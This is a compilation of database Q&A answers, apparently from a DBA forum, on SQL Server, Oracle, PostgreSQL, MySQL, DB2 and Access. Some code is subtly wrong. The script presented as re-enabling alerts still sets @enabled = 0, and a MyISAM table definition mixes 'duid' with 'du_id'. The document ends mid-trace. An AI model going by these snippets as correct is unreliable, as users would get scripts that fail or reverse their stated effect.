SQL Difference Optimistic Reading and Optimistic Writing

Or probably more so, can someone define these 4?

No.  Those are not terms with precise definitions.  "Optimistic Concurrency" means to make some change even though you might not be able to save or commit the change later.  And "Pessimistic Concurrency" means to acquire locks before you make the change to ensure you will be able to save/commit it.

In SQL Server no isolation level uses exclusive locking when reading data (though you can force it with a lock hint).

Both RCSI and SNAPSHOT use Pessimistic Concurrency.  You will always acquire the X locks needed to change and commit a row before actually making the change.

Client-Side libraries often use Optimistic Concurrency, reading data, changing it in memory, and then, on save, checking if those changes would conflict with another sessions changes.  If the changes are found to conflict, an error is thrown.  See eg Optimistic Concurrency

In the SQL Server Database Engine the only Optimistic Concurrency is the model introduced by Memory-Optimized Tables, which don't require locks to write data, and instead use a first-writer-wins Optimistic Concurrency model, described here.


Can I recover an overwritten incident trace file?

No, not within Oracle.  This can only be recovered if you backed it up externally.


Performance impact of updating target columns with same values ON CONFLICT

It seems to have no difference from performance perspective , assuming you have no triggers that runs only if certain columns are updated.

The whole row is updated , or to be more Postgres specific (Postgres doesn't have in-place updates), the new tuple will be inserted, and the old one will be marked as dead .  From that regard it doesn't matter if actual change happens for only one column, or all of them , or neither .  You can check values of n_tup_upd, n_dead_tup  columns in pg_stat_all_tables - they both increase after each update . n_dead_tup will eventually get reset after performing vacuum.

The only thing that might be negatively affected is HOT updates (no new index tuple if indexed column doesn't change value). HOT updates are explained in many places, the best one in my opinion is http://www.interdb.jp/pg/pgsql07.html .

Testing HOT updates (done with Postgres 9.6, 10.4 and 10.5)

--- setup
-- useful extension for checking data and index pages
create extension pageinspect;
-- dummy table  (varchar is used instead of text just to avoid any complication related to TOAST )
create table test_update(test_update_id int not null , some_data varchar(50),constraint test_update_pkey primary key (test_update_id) );

-- insert  2 rows
insert into test_update (test_update_id, some_data) values (1, 'test1');
insert into test_update (test_update_id, some_data) values (2, 'test2');

--check table stats :
select relname ,n_tup_upd, n_dead_tup , n_tup_hot_upd  from pg_stat_all_tables where relname ='test_update';
 --(all zeroes)
-- check #rows in index :
select * from bt_page_items('test_update_pkey',1) ;
-- 2 rows

----------------------------------------------
-- Test 1 . perform dummy update :
update  test_update set test_update_id = test_update_id , some_data = some_data;

-- check tables stats again,
--n_tup_upd = n_dead_tup = n_tup_hot_upd  = 2
-- check index page again, results are the same - 2 rows

-- Test 2 . real update non-key column , and dummy update of key column  :
update  test_update set test_update_id = test_update_id , some_data = some_data||'_new';

-- check tables stats again,
--n_tup_upd = n_dead_tup = n_tup_hot_upd  = 4
-- check index page again, results are the same - 2 rows

-- Test 3 . real update non-key column , key column is not in the statement:
update  test_update set some_data = some_data||'_new_2';

-- check tables stats again,
--n_tup_upd = n_dead_tup = n_tup_hot_upd  = 6
-- check index page again, results are the same - 2 rows

-- Test 4. Now do real update of key column :

update  test_update set test_update_id = test_update_id+2;
-- check tables stats again,
--n_tup_upd = n_dead_tup = 8, n_tup_hot_upd  = 6  (no HOT update this time)
-- check index page again, now we see 4 rows

It appears that Postgres is smart enough to identify cases where indexed columns are not changed , and perform HOT updates; thus , there is no difference between having or not having key columns in update statement from performance point of view.  The only thing that matters it whether actual value changed. Surely, this behaviour is limited to B-Tree indexes.


Counting Grouped records, using start date and end date with NULLs

I ended up doing this using a Stored Procedure, creating a Temp Table:
DECLARE @StartDate  DATE,
        @EndDate    DATE;

SELECT   @StartDate = (select min([purchase date]) from Table where [Purchase Date] != '1970-01-01')
         ,@EndDate  = (select max([Cancellation date]) from Table);

;with months (date)
AS
(
    SELECT @startdate
    UNION ALL
    SELECT DATEADD(month, 1, date)
    from months
    where DATEADD(month, 1, date) < @enddate
)
select     IDENTITY(int, 1, 1)  as ID,
           [LastDayOfMonth]  = EOMONTH(date),
           [FirstDayOfNextMonth] = DATEADD(DAY, 1, EOMONTH(date)),
           [date] = date
into #tempdatetable
from months
option (maxrecursion 0)

Then doing a Loop through that Table and populating an output table:
Declare @Id int
Declare @ldom date
declare @fdonm date
declare @my date

While (Select Count(*) From #tempdatetable) > 0
Begin

    Select Top 1 @Id = Id,
    @ldom = LastDayOfMonth,
    @fdonm = FirstDayOfNextMonth,
    @my = [date]
    From #tempdatetable

insert into MyOutputTable (Customer,
[Count of A],
[Count of B],
[Count of C],
[Month/Year])
select T.[Customer],
COUNT(CASE WHEN T.[Subscription group] = 1 then 1 ELSE NULL END) as "Count of A",
COUNT(CASE WHEN T.[Subscription group] = 2 then 1 ELSE NULL END) as "Count of B",
COUNT(CASE WHEN T.[Subscription group] = 3 then 1 ELSE NULL END) as "Count of C",
@my as 'Month/Year'
from Table T
where ((T.[Purchase Date] <= @ldom or T.[Purchase Date] is null) and (T.[Cancellation date] is null or T.[Cancellation date] > @fdonm) )
Group by T.[Customer]

Delete #tempdatetable Where Id = @Id

End

drop table #tempdatetable


Oracle Database 12.1.0.2 is the first version that is certified on Windows 10.

Oracle Database 11.2 is not certified on Windows 10.

Just click Yes and continue.

By the way, the 11.2.0.4 installer does not throw this error on Windows 10.


Performance benefit of taking unused databases offline

If the database has objects in memory, taking it offline will remove those objects from the buffer. This frees up memory for other database objects.

Also, taking it offline ensures that automated maintenance plans (backups, index maintenance, integrity checks...) don't waste any resources doing maintenance on it.


Multiple person roles in database(how to define if same person)

The Name of a Person and his/her Bith Date are almost enough to make an unique index with both columns. This way you would garantee 100% of unique individuals in your table, but you could have problems with those miracle situations where two people born the same day with same name.

In this case I would recommend you add a new columns called Birth place (City/State/Country) to your Person table and make the Unique Index with those 3 columns.

It will solve your problem.

create unique index single_person_id on Person(name, birth_date, birth_place);


Duplicate record script | Efficiency boost

The troubles with count aside, probably simplest way to make that query fast is adding multicolumn index

(console, price, purchased)

if table wishlist is InnoDB and ID is primary key or

(console, price, purchased, ID)

if table wishlist is MyISAM.

Such index is enough to cover the query.


How do I create a user for SQL Server whose queries (any/all) are time limited?

There are ways, but nothing which is perfect.

If the user only accesses the SQL Server database through a data layer (e.g., the user only goes through a specific web application and does not connect using SQL Server Management Studio), George Mavritsakis's answer can work.  If they do connect via SSMS, however, you have to go a step further.

You could set the query governor cost limit (in sp_configure) to a particular time limit, but that affects all users by default.  This will kill a query if the expected time is greater than your maximum, noting that expected time depends on statistics and more complex queries can foul up your calculations.

If you just want to do this for one login, you can create a logon trigger and if that login is your resource-wasting user, run

SET QUERY_GOVERNOR_COST_LIMIT 600 --or whatever value you want

in the trigger body.  Note again that the governor uses estimated times rather than actual times, so it's not foolproof.  It would, however, stop an attempt to do a select * against a 10 million row table if that's the actual problem you're having.

The downside of creating a logon trigger is that you have to remember that it's there.  Like all other types of triggers, it could lead to "unexpected" behavior if somebody who is not aware of it (e.g., your eventual replacement) tries to dig through why this person keeps getting weird error messages.

Note that in more recent versions, Microsoft has pushed away from the query governor, especially as they've shifted to the resource governor.  But it's still in 2012 (and doesn't appear to be deprecated) and if you're stuck on 2005, I guess that's no problem...


Cluster node upgrade of SQL Server 2008 R2 to SP3 fails when moving resource

If
(the path to the master database or system databases (including certificates) exist and the SQL Server domain account have the appropriate permissions)
Then
(Look into further troubleshooting by introducing the global trace flag 902. This skips script upgrade of the database after a SP or CU patch upgrade. See link: https://docs.microsoft.com/en-us/sql/t-sql/database-console-commands/dbcc-traceon-trace-flags-transact-sql
.This will let you know if your patch on the passive was actually successful. If cluster still fails to come online, then its either a permission or an unusual install. Can you check the setup bootstrap logs on the passive node to confirm that the patching was indeed successful. Check the Detail_%datetime%.txt and the Summary_%datetime%.txt files to confirm this. Let us know what you find to continue troubleshooting.


Alter table Statement Failed -Msg 207, Level 16, State 1

Your prolem occurs because of the different steps involved in query execution.  First comes parsing, then binding and finally execution.  In parsing the submitted text is verified as valid SQL and converted to an internal representation.  Binding resolves the names from the submitted SQL to objects inside SQL Server's catalogue.  Unfortuately TableName.ColumnName does not exist when binding is attempted so that part fails.

There are two things you can do*.  First, split the query into two batches, one to create the column, one to update it.  Only run the second if the first succeeds.  Second, put the update in dynamic SQL and run it via exec sp_executesql.  This effectively creates a second batch internally.

*That I can think of right now.  I'm sure wiser heads could suggest others.


There's a cheap/low-tech way of doing this:

while [ 1 ] ; do echo "select rowid from ids limit 1;" ; sleep 2; done \
 | mysql -u ...

Ctrl C to interrupt.


There are often more then one ways to normalize a relation. An example:

Relation R (ABCD) with functional dependencies:

A -> BCD
B -> CD
C -> BD

Can be normalized to 3NF either:

R1 (AB)     A -> B

R2 (BCD)    B -> CD
            C -> BD

or:

R1 (AC)     A -> C

R2 (BCD)    B -> CD
            C -> BD

or:

R1 (AB)     A -> B

R2 (BC)     B -> C
            C -> B

R3 (BD)     B -> D

or: lots of other ways ...


How to identify consonant/vowel pattern matches in MySQL?

To do it in one pass:

UPDATE ...
    SET pattern =
        REPLACE(
        REPLACE(
        ...
        REPLACE(value
                'a', '0')
                'b', '1')
                ...
                'z', '1');

Doesn't your table need

PRIMARY KEY(value),
INDEX(pattern)

There is probably a way to convert those 0s and 1s into a bit string and store it into a BIGINT UNSIGNED for slightly faster lookup and less disk space.


Why aren't read-only queries executing concurrently?

The problem is that I was using Django's built-in development server (runserver).  The problem goes away using Gunicorn.  It doesn't matter if the database backend is Sqlite or Postgres.


sp_blitzcache not returning an execution plan for a long running query

Here's a few reasons why queries won't show up in sys.dm_exec_query_plan, the DMV used by sp_BlitzCache:

The query is encrypted (like an encrypted stored procedure or function)
The server has Optimize for Ad Hoc turned on, and the query was only executed once
The server is under memory pressure, and plans are being removed from the cache
The plan has over 128 levels of nested elements, so sys.dm_exec_query_plan can't show it (but you can still get it via sys.dm_exec_text_query_plan if you want the text version)


Is it possible to lower the CPU priority for a job?

As mentioned in the comments above, the resource governor is the built-in method for managing this, assuming you have an edition which enables this feature. Though unless your DELETE operations perform some complex logic to determine what to delete, changing CPU priority is unlikely to help at all because IO is will be the main bottleneck in such a case and it'll be barely bothering the CPU at all, so look at that MAX_IOPS_PER_VOLUME option when creating the resource pool.
If you don't have enterprise edition so do not have access to the resource governor, you could add sleep states into you loop using WAITFOR DELAY. You would want to work in smaller batches if using this more hacky manual approach, pick a batch size that will complete in a small amount of time. If you work for ~0.1 seconds and `WAITFOR DELAY '00:00:00.1' the task will be running at approximately half resource (very approximately, unless you get clever and have the task monitor itself and adjust batch size and/or sleep delay dynamically).
If what you are deleting represents almost all the data in the table, you might find it quicker to copy what you want to keep to another table, truncate the current table, and copy the kept data back in, though obviously this could get more complex if you have referential integrity to maintain between the remaining data and the rest of the database throughout the process, or the table is subject to any of the other restrictions for TRUNCATE TABLE. If you are deleting the whole table content, again assuming your the is suitable or can be temporarily made so, then just TRUNCATE TABLE.


Optimize MAX or ORDER BY column DESC with LIMIT 1

You may need to redesign this table, but I think you will love to do so. Why ???
Did you know that MyISAM supports having an auto_increment id grouped to a key ?
In the MySQL Documentation for using auto_increment under the subheading MyISAM Notes:

For MyISAM tables, you can specify AUTO_INCREMENT on a secondary column in a multiple-column index. In this case, the generated value for the AUTO_INCREMENT column is calculated as MAX(auto_increment_column) + 1 WHERE prefix=given-prefix. This is useful when you want to put data into ordered groups.

MyISAM will do all the heavy lifting of assigning the next du_id for each domain_id
I discussed this a few times before

Aug 28, 2013 : How to go about modeling the main object of relationship?
Feb 26, 2013 : How to use 2 auto increment columns in MySQL phpmyadmin (Sample Code)
Jun 10, 2012 : MySQL get next unique value without auto increment
Apr 21, 2012 : How can you have two auto-incremental columns in one table?

HOW TO MAKE USE OF THIS
Change the table's design to look like this:
CREATE TABLE `link_` (
  `duid` bigint(20) NOT NULL AUTO_INCREMENT,
  `domain_id` int(11) NOT NULL,
  PRIMARY KEY (`domain_id`,`du_id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

You would eliminate id (saving 8 bytes per row) and remove a needless index.
Then, your INSERTs would look like this:
INSERT INTO link_ (domain_id) VALUES (5);

That's it !!! All the auto_increment stuff is handled for you !!!
Please look over the sample code I mentioned.
GIVE IT A TRY !!!


Transactional Replication to DB on Same Server instance

Is this a good candidate for transactional replication?

I would use SSIS to incrementally load data (if the data set is too big) or just freshly load the data (if the data is less) every night (or anytime).

This way you dont have to create any publication, distribution database or subscription.

Easy to manage when you do upgrades on your main database - especially changing schema.

Another option would be to use BCP OUT and BULK INSERT IN. I have a script to help if you go with this. Make sure to adjust the script to filter out the data you need using where clause :-)

Note: Don't get me wrong, as I am not telling, you can't use T-Rep, but I don't see it to fit perfectly in your situation. There are better tools that you can use to cater your scenario.


Oracle Triggers - before any UPDATE or DELETE or INSERT

I do not think that the check is needed on delete. So create a trigger like:

CREATE OR REPLACE TRIGGER check_session_timing
  BEFORE INSERT OR UPDATE ON sessions
  FOR EACH ROW
BEGIN
    if   :new.SessionDay = 'Saturday'
      or :new.SessionDay = 'Sunday' then
      raise_application_error(-20001, 'Out of business hours – this transaction has not completed, please change the date/time');
    end if;
    if :new.SessionTime not between 900 and 1500 then
      raise_application_error(-20001, 'Out of business hours – this transaction has not completed, please change the date/time');
    end if;
END;
/


How to optimize a query so that it seeks on one index first, and then another index after that

The problem is that it might (and knowing spatial indexes, probably will) assume that the spatial filter will be a lot more selective than the time filter.

But if you have a few million records within 200km, then it could be significantly worse.

You're asking it to find records within 200km, which returns data ordered by some spatial order. Finding the records in there that are close in time means checking each one.

Or else you're finding records by time, and you're getting results in time order. Then, filtering this list to the 200km radius is a matter of checking each one.

If you filter the data in two ranges like this, it becomes hard to apply the second filter using an index. You may be better off telling it not to use the spatial index if the time filter is the tighter one.

If both are large individually, and it's only together that they are tight, then you have a more complex issue, one that people have tried to solve for a long time, and which could be nicely resolved by indexes that cover 3D (and beyond) space. Except that SQL Server doesn't have them.

Sorry.

Edit: more info...

This is a similar problem to finding time ranges that cover a particular point in time. When you search for the records that start before that point, you then have an unordered mess of end times - and vice-versa. If you look for people in the phone book whose surnames start with F, you can't hope to find the people whose first names start with R very easily. And an index on first name doesn't help either for the same reason. Finding things in that next index is hard when your first index is not an equality.

Now, if you could change your date filter into an equality filter (or series of equality filters), then you could stand a chance, except that a spatial index is a special kind of index and can't be used as the second level in a composite index.

So you're left with an awkward situation, I'm afraid. :(

Edit: Try:

select top 100000 h.Time, m.Time, h.GeoPoint.STDistance(m.GeoPoint)/1000.0
from L2V5.dbo.header h join L2.dbo.MLS_Header m
on h.mjd between m.mjd-.125 and m.mjd+.125
where h.GeoPoint.STDistance(m.GeoPoint)/1000.0 < 200
option( table hint ( h, index(ix_MJD) ) );

Notice that I'm deliberately breaking the sargability by dividing by 1000 before comparing to 200. I want this work to be done in the Key Lookup.

Mind you, you could avoid the need for the lookups (and the hints) by INCLUDEing GeoPoint and Time in both ix_MJD indexes. That'll certainly take some of the heat out of the query plan.


Modeling a Recursive Association for Linking an Entity Type to Itself

Using the "crow's foot" notation that @MDCCL has mentioned, the OPTIONALITY can be expressed by using solid and broken lines, respectively (solid -> MUST/mandatory, broken -> MAY/optional).  E.g. one of your business rules is: "A control must belong to a standard." (5th bullet point of your question), then the line (relationship) going from CONTROL to STANDARD starts solid (notice that the - same - relationship STANDARD -> CONTROL starts with a broken line).

Also, a relationship should "work both ways (!)".  The crow's foot notation allows us to label both ends of a relationship, e.g. we if it is correct to say that a STANDARD is constrained by one or more CONTROLs and each CONTROL constrains a STANDARD, then the first version of our ERD could look like the one below (the label text "has" is a bit vague ... try to be more specific/descriptive).

The "crow's foot" notation also shows the CARDINALITY very clearly e.g. you have modelled the second business rule "A single control in each standard may map to one or more controls in another standard", as 2 single solid lines, labelled "mapsTo" (one to one?, mandatory?).  Using crow's foot notation, the fact that there is an optional one-to-many relationship between CONTROLs can be drawn like in the ERD below.
(NOTE: I'm not claiming that the relationship labels I have used are correct for your scenario.  It's just to show you that e.g. "has" is too vague.  We know that the relationship "has" or "is", otherwise it would not exist in the model.)

Some people recommend using singular nouns (STANDARD, CONTROL instead of STANDARDS and CONTROLS) in ERDs.  Maybe this makes finding the cardinalities easier.


Installing SQL server 2008R2/2012 on windows server 2012 box

I have used option 2 from this article many times to fix this issue.

Basically insert the windows install disk, enable the .net 3 feature but select the option to 'specify an alternate path' at the end of the wizard. The different path should be D:\sources\sxs (if the disc is in your D drive)


Timestamp with no time zone - if I'm ok with UTC at all times, is there any downside to using it?

If all are aware that the timestamp value is supposed to represent UTC time it should work, basically. A convenient advantage is that default input and output is less noisy.

I would still suggest timestamptz. Here are some reasons:

1.

timestamptz literally is the "preferred type" among date/time types in Postgres. See:

test=> SELECT typname, typispreferred FROM pg_type WHERE typcategory = 'D';
   typname   | typispreferred
-------------+----------------
 date        | f
 time        | f
 timestamp   | f
 timestamptz | t  -- !
 timetz      | f
 time_stamp  | f
(6 rows)

The manual about pg_types.

This can work in favor of timestamptz in corner cases of type/function/operator resolution.

2.

When you have timestamptz literals as data input, that just works with type timestamptz:

'2020-04-22 04:46:46.790969+02'

Inserting the same into a timestamp column would ignore the time offset (lose information). One would have to cast to timestamptz explicitly, then transpose to UTC timestamp with something like:

'2020-04-22 04:46:46.790969+02'::timestamptz AT TIME ZONE 'UTC'

The opposite direction is less error prone. When inserting a timestamp literal into a timestamptz column, the current time zone is assumed in the absence of explicit information.

3.

now() and transaction_timestamp() return timestamptz. If you need timestamp, you have to cast. Internally, LOCALTIMESTAMP does just that: it casts transaction_timestamp(). To get the current timestamp for UTC you need now() AT TIME ZONE 'UTC' or similar.

4.

Displaying timestamps for a given time zone is simpler based on timestamptz:

SELECT my_timestamptz AT TIME ZONE 'US/Hawaii';

That's more work with timestamp. We know it's supposed to be UTC time. But Postgres does not until we say so, explicitly:

SELECT my_timestamp AT TIME ZONE 'UTC' AT TIME ZONE 'US/Hawaii'

Related:

Ignoring time zones altogether in Rails and PostgreSQL


Exadata RMAN vs. Non-Exadata RMAN - any differences?

There are no architecture differences in RMAN itself.  The difference is in the speed of the backups if written to the Exadata on-board storage.  So the advantages that Exadata brings in terms of hardware would also translate to advantages in backup speed and MTR (mean time to recovery).  But none of those advantages are the result of changes to RMAN.


Use a JOIN:
select pp.price / cpp.price
from product_price pp
  join comp_product_price cpp on pp.product_id = cpp.comp_product_id
where pp.product_id=1


Relay log read fail, relay or master log currupt ,How to repair?

After searching for sometime I found a reason and solution.

By default the relay_log_purge variable was on and the relay_log_recovery was off in mysql configuration and both values are default.
As per the mysql documentation the --relay-log-recovery option must be enabled on the slave to guarantee resilience in the event of an unexpected server halt.
so in my case due to no disk space server restarted and relay log corrupt error message came now

SOLUTION:

first remove the node from group

do this on the removed slave node

STOP GROUP REPLICATION

RESET SLAVE

rejoin node to the cluster .It will work.

Explanation:
RESET SLAVE makes the slave forget its replication position in the master's binary log
deletes all the relay log files, and starts a new relay log file.

To use RESET SLAVE on a Group Replication group member, the member status must be OFFLINE, meaning that the plugin is loaded but the member does not currently belong to any group. A group member can be taken offline by using a STOP GROUP REPLICATION statement

For a server where GTIDs are in use (gtid_mode is ON), issuing RESET SLAVE has no effect on the GTID execution history. The statement does not change the values of gtid_executed or gtid_purged


DB2 Commands -- Different ways of stopping database

Ok, this is really simplified, but hopefully helpful.

DEACTIVATE is the opposite of ACTIVATE. ACTIVATE loads some of the database processes into memory to save time and performance on connections. Otherwise the first connection is where the database does this work. DEACTIVATE takes the processes out of memory. It only "completes" once everyone is logged out. You only have to DEACTIVATE if you ACTIVATE.

TERMINATE shuts down any current connections and any processes run by the command line processor (CLP). It does not necessarily "unload" processes from memory like DEACTIVATE does.

QUIESCE puts the database (or instance) into a "restricted mode" so only IDs with QUIESCE_CONNECT privilege can connect. This is useful for running certain upgrades, etc, when you need the database up, but do not want users on the system. UNQUIESCE takes the database (or instance) out of this mode.

db2stop actually stops the instance. This would be the equivalent of hitting the "off" button, so to speak. db2stop force is a stronger "off" that forces users off the system.

EDIT: As a side note, when you run db2start, if you run it as db2start admin mode, it starts the instance in a state of QUIESCE.


How to transfer postgres databases from one server to other

Well, according to the instructions you should use the postgres 12 tools against the 9.1 database when dumping for an upgrade

so your first step it to upgrade your backup procedure to use the pg_dump from postgres 12

If your network between the two VPSs has low tatency you can do that over the network, but if not you'll need to find a different way.

Possibly copy the 9.1 data files onto the 12 server using rsync  and the run pg_upgrade --link over those files to upgrade the 9.1 files to 12

you can do an initial pass with rsync while the database service is running and then shut it down for the final pass.


As an application what are differences between sqlplus.exe and sqlplusw.exe?

sqlplusw was a GUI version of the command line tool sqlplus, with its own Edit menu etc.

sqlplusw was removed in Oracle 11g.


SQL Statement Layer Filter Queries Limit Access

I am not quite sure if using the built-in privilege system in combination with encapsulation of some or all of the SQL code in stored procedures is the only way, but it certainly is the sane way of going about restricting access to the database. You are free to introduce your own system, of course, but from what I have learnt this far, there is no need to reinvent the wheel.

Take your time deciding what different levels of access you may need, and create database roles accordingly, granting different kinds of privileges to different objects according to the role definitions. Create the user accounts and assign them to the roles. Have your application provide a dialogue box requesting login credentials and use those to invoke whatever SQL instruction needs to be executed, be it a stored procedure call or an ad-hoc query. The instruction will be executed – or not – based on the privileges decided at the server level.

Again, this is the usual way of managing database access. Unusual scenarios may well call for unusual approaches, but if the reason for not using the built-in security is, for instance, simply because it makes the developer's life easier, my advice would be to reconsider.


Trying to write a function that doesn't require dbo. prefix

Using system_function_schema was an undocumented and unsupported process in SQL 2000. As of SQL 2005, it is no longer possible.

By design, UDFs require that the schema be included in the function call.

There is one exception: calling the function like a procedure doesn't actually require the schema, but also wouldn't be terribly useful for your function.

exec trim @input = ' foo '

Additionally, be sure to carefully test queries with scalar functions--they can have significant impact on performance.


Apparently this sub-query does not always return a value:

(Select OS_PRZU.ZUM2 From OS_PRZU
Where OS_PRZU.IDNR = GLAS_DATEN_BASIS.IDNR And OS_PRZU.KUNR = 999999)

meaning that the default customer probably does not have a price for some of the products.

Replace the sub-query with a hard-coded value in order to verify that NVL itself works as expected.


Which query performs better when searching a row where a column has maximum?

I'm not sure if this is as platform independent as you think but I've been doing some fairly extensive testing on this in SQL Server recently and the first query was interestingly the fastest.  This was comparing against a number of "tricks" in SQL Server including using CROSS APPLY and windowing functions. But again YMMV in PostgreSQL.

Unless I'm mistaken (I don't know PostgreSQL) your second query will actually come up faster but only because it's going to give you the age for one person.


Very common mysql query sometimes does not use index

While I am unable to explain why MySQL occasionally decided not to use index on a very obvious and very common query, the solution was to simply force the index.

In my particular case:

select msg_cont, msg_u_code, msg_d_t, msg_viewed, usr_u_code, usr_name from
        (select
            msgs.id as msg_id,
            msgs.cont as msg_cont,
            msgs.u_code as msg_u_code,
            msgs.d_t as msg_d_t,
            msgs.viewed as msg_viewed,
            usrs.u_code as usr_u_code,
            usrs.usr_name as usr_name
            from msgs FORCE INDEX (convo)
            left join usrs FORCE INDEX (u_code) on msgs.sender = usrs.u_code
    where  msgs.convo = 'aaaaaaaaaabfbaghdgcigfid_aaaaaaaaaabeiaccjfhjfach'
      and  (msgs.sender = 'aaaaaaaaaabfbaghdgcigfid'
              or  msgs.receiver = 'aaaaaaaaaabfbaghdgcigfid'
           )
      and  msgs.stat = '1'
      and  usrs.stat = '1'
      and  usrs.u_code not in('aaaaaaaaaabfaagfbgggiejh',
                              'aaaaaaaaaabfabgbjdfjigbd',
                ...... !!!!![here go 400 more usr_u_codes]!!!!!
                          )
      and  msgs.id > 30997997
        ) a order by msg_id asc;

Slow query log proved this solution to be effective as no new slow entries emerge.


How do I get a run duration in minutes for each individual step in a single Job?

This should get you started...

select
    jobs.name
    ,jobs.description
    ,steps.step_id
    ,steps.step_name
    ,steps.last_run_outcome
    ,last_run_time = stuff(stuff(right('00000' + cast(steps.last_run_time as varchar),6),3,0,':'),6,0,':')
    ,last_run_duration = stuff(stuff(right('00000' + cast(steps.last_run_duration as varchar),6),3,0,':'),6,0,':')
from [msdb].[dbo].[sysjobs] jobs
inner join [msdb].[dbo].[sysjobsteps] steps on
steps.job_id = jobs.job_id
order by jobs.job_id, steps.step_id


select
    b.*,
    s.service_name
from
    branches b,
    branch_services bs,
    services s
where
    b.branch_id=bs.branch_id
    and bs.service_id=s.service_id


Cross join yields execution plan that reads one of the tables multiple times

My question is whether the index scan on the smaller table is performing multiple I/O operations, one for each row on the bigger table, as opposed to doing it only once and having its result being fed to the following step only once.

Yes, for every row that comes out of A, you need to produce all of the rows for B. Since there are five rows in A, you make five trips to B.

Cross Joins can only be implemented with Nested Loops, and that's normal behavior for it.


Find all records with the same first 3 characters

You can use the LIKE operator to perform a wildcard search and return words that contain/start with specific patterns. Given your example above, you can issue the following query to return only those values that begin with "Ang":

SELECT * FROM people WHERE first_name LIKE 'Ang*';

You could CREATE a VIEW that is pre-filtered to only include the data that you want to be displayed:

CREATE VIEW filtered_people (first_name)
AS
SELECT first_name
  FROM people
 WHERE first_name LIKE 'ang*';

Alternatively, you could just use the query in your code to obtain the data you need:

Sub LikeX()

Dim dbs As Database, rst As Recordset

' Modify this line to include the path to your database
' on your computer.
Set dbs = OpenDatabase("my.mdb")

' Return a list of people whose name begins with ANG
Set rst = dbs.OpenRecordset("SELECT first_name" _
    & " FROM people" _
    & " WHERE first_name Like 'ang*';")

' Populate the Recordset.
rst.MoveLast

' Call EnumFields to print the contents of the
' Recordset. Pass the Recordset object and desired
' field width.
EnumFields rst, 15

dbs.Close

End Sub

You can find more information in the official documentation for MS Access SQL.


It looks like your two conditions can be reduced to just one:

They do not exist in table A with a status of 1.

Based on that, your SQL query could look like this:

SELECT
  B.*
FROM
  B
WHERE
  NOT EXISTS
  (
    SELECT
      *
    FROM
      A
    WHERE
      A.Status = 1
      AND B.Item = A.Item
      AND B.Date IN (A.Date1, A.Date2, A.Date3, A.Date4)
  )
;

So, if table A has no match on Item and Date at all, the NOT EXISTS predicate will evaluate to True. If there is a match and its status is 0, the predicate will again be true because of the Status condition.


how to set up sql server alerts based on a schedule basis?

Probably the easiest way I can think of is to set up an agent job to disable/enable the agent on a schedule.

https://docs.microsoft.com/en-us/sql/ssms/agent/disable-or-reactivate-an-alert?view=sql-server-2017

https://www.mssqltips.com/sqlservertip/4848/getting-started-with-sql-server-agent--part-1/

-- changes the enabled setting of Test Alert to 0
USE msdb ;
GO

EXEC dbo.sp_update_alert
    @name = N'Test Alert',
    @enabled = 0 ;
GO

You can generate the required code for all alerts that fire a notification by running this:

USE msdb;
DECLARE @cmd nvarchar(max);
SET @cmd = '';
SELECT @cmd = @cmd + CASE WHEN @cmd = '' THEN '' ELSE '
' END + N'EXEC dbo.sp_update_alert @name = N''' + sa.name + ''', @enabled = 0;'
FROM dbo.sysalerts sa
WHERE sa.has_notification = 1
ORDER BY sa.name DESC;
PRINT @cmd;

This will generate the required code to re-enable those alerts:

USE msdb;
DECLARE @cmd nvarchar(max);
SET @cmd = '';
SELECT @cmd = @cmd + CASE WHEN @cmd = '' THEN '' ELSE '
' END + N'EXEC dbo.sp_update_alert @name = N''' + sa.name + ''', @enabled = 0;'
FROM dbo.sysalerts sa
WHERE sa.has_notification = 1
ORDER BY sa.name DESC;
PRINT @cmd;

I'd add the generated "disable" code to an agent job that runs on Friday evening, and the "enable" code into a job that runs on Monday morning.


What happens when you alter a table column's length, but that length is already that length?

Yes it does because database doesn't check the previous value it only sets the new value. The following demonstrates it.

SQL> conn jay
Connected.
SQL> alter session set sql_trace=true;

Session altered.

SQL> alter table test modify name varchar2(20);

Table altered.

SQL> alter table test modify name varchar2(20);

Table altered.

SQL> alter session set sql_trace=false;

Session altered.

SQL> exit

The following is formatted output of trace file generated by tkprof.

update tab$ set ts#=:2,file#=:3,block#=:4,bobj#=decode(:5,0,null,:5),tab#=
  decode(:6,0,null,:6),intcols=:7,kernelcols=:8,clucols=decode(:9,0,null,:9),
  audit$=:10,flags=:11,pctfree$=:12,pctused$=:13,initrans=:14,maxtrans=:15,
  rowcnt=:16,blkcnt=:17,empcnt=:18,avgspc=:19,chncnt=:20,avgrln=:21,
  analyzetime=:22,samplesize=:23,cols=:24,property=:25,degree=decode(:26,1,
  null,:26),instances=decode(:27,1,null,:27),dataobj#=:28,avgspc_flb=:29,
  flbcnt=:30,trigflag=:31,spare1=:32,spare2=decode(:33,0,null,:33),spare4=:34,
  spare6=:35
where
 obj#=:1

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.00       0.00          0          0          0           0
Execute      2      0.00       0.00          0          6          4           2
Fetch        0      0.00       0.00          0          0          0           0
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total        3      0.00       0.00          0          6          4           2

Misses in library cache during parse: 0
Optimizer mode: CHOOSE
Parsing user id: SYS   (recursive depth: 1)
Number of plan statistics captured: 1

Rows (1st) Rows (avg) Rows (max)  Row Source Operation
---------- ---------- ----------  ---------------------------------------------------
         0          0          0  UPDATE  TAB$ (cr=3 pr=0 pw=0 time=175 us)
         1          1          1   TABLE ACCESS CLUSTER TAB$ (cr=3 pr=0 pw=0 time=11 us cost=2 size=142 card=1)
         1          1          1    INDEX UNIQUE SCAN I_OBJ# (cr=2 pr=0 pw=0 time=5 us cost=1 size=0 card=1)(object id 3)

********************************************************************************

SQL ID: 6vqvn8ya0xybh Plan Hash: 829209562

update col$ set intcol#=:3,segcol#=:4,type#=:5,length=:6,precision#=decode(:5,
  182/*DTYIYM*/,:7,183/*DTYIDS*/,:7,decode(:7,0,null,:7)),scale=decode(:5,2,
  decode(:8,-127/*MAXSB1MINAL*/,null,:8),178,:8,179,:8,180,:8,181,:8,182,:8,
  183,:8,231,:8,null),null$=:9,fixedstorage=:10,segcollength=:11,col#=:12,
  property=:13,charsetid=:14,charsetform=:15,spare1=:16,spare2=:17,spare3=:18,
  deflength=decode(:19,0,null,:19),default$=:20
where
 obj#=:1 and name=:2

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.00       0.00          0          0          0           0
Execute      2      0.00       0.00          0          6          4           2
